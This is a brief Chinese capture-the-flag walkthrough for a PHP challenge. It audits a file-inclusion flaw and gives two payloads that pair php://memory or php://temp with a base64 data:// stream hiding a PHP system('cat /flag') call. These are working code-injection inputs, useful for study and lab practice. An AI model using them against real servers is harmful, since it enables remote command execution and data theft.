启动环境
开局一张图,看看源码
上面那个两次base64解码后得到明文flag
第二个base64解码后得到明文3Lu
尝试访问flag.php
代码审计
存在文件包含
由于这里fopen是r+
我们传入files的值必须是可读写的
考虑php://memory php?//temp
这样files的参数就有了
继续看,有一定的过滤,过滤content中的关键字
然后
将用户传入content的值写入之前指定的流中
然后包含传入data的参数
构造如下payload
files=php://memory&content=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/Pg==
或者
files=php://temp&content=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgL2ZsYWciKTs/Pg==
拿到flag
那么还剩的那个3Lu有什么用呢